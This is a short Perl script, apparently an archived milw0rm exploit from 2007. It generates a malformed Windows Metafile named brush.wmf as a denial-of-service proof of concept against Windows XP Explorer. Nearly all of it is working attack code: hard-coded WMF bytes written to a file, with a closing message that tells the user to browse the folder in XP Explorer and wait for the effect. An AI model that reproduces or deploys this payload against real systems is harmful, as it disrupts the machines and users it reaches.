14 lines
No EOL
643 B
Perl
Executable file
14 lines
No EOL
643 B
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
print "\nWMF PoC denial of service exploit by cyanid-E <biz4rre\@gmail.com>";
|
|
print "\n\ngenerating brush.wmf...";
|
|
open(WMF, ">./brush.wmf") or die "cannot create wmf file\n";
|
|
print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64";
|
|
print WMF "\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
|
|
print WMF "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
|
print WMF "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
|
|
print WMF "\x00\x00\x00\x00";
|
|
close(WMF);
|
|
print "ok\n\nnow try to browse folder in XP explorer and wait :)\n";
|
|
|
|
# milw0rm.com [2007-01-13] |